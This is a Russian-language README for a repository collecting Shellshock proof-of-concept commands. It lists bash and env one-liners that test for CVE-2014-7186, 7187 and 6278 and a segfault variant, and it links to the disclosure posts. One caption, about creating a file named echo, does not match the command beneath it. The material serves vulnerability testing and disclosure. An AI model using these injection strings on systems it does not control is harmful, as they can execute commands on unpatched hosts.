Shellshocker — репозиторий с Proof of Concept кодом для «Shellshock»

Коллекция Proof of Concepts и потенциальных целей для #ShellShocker

Пожалуйста, отправьте pull request, если у вас есть дополнительные ссылки или другие ресурсы

Предположения (не подтверждено, возможно, уязвимо):

Если вам известны PoC для любого из них, отправьте issue или pull request со ссылкой.

Командная строка (Linux, OSX и Windows через Cygwin)

при уязвимости создаст файл echo в текущем каталоге с датой внутри

bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"

(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"

env X='() { _; } >_[$($())] { echo CVE-2014-6278 vulnerable; id; }' bash -c :
Дополнительная информация: http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html

при уязвимости произойдёт segfault

env X='() { x() { _; }; x() { _; } <<a; }' bash -c :
Дополнительное обсуждение на fulldisclosure: http://seclists.org/fulldisclosure/2014/Oct/9
Дополнительная информация: http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html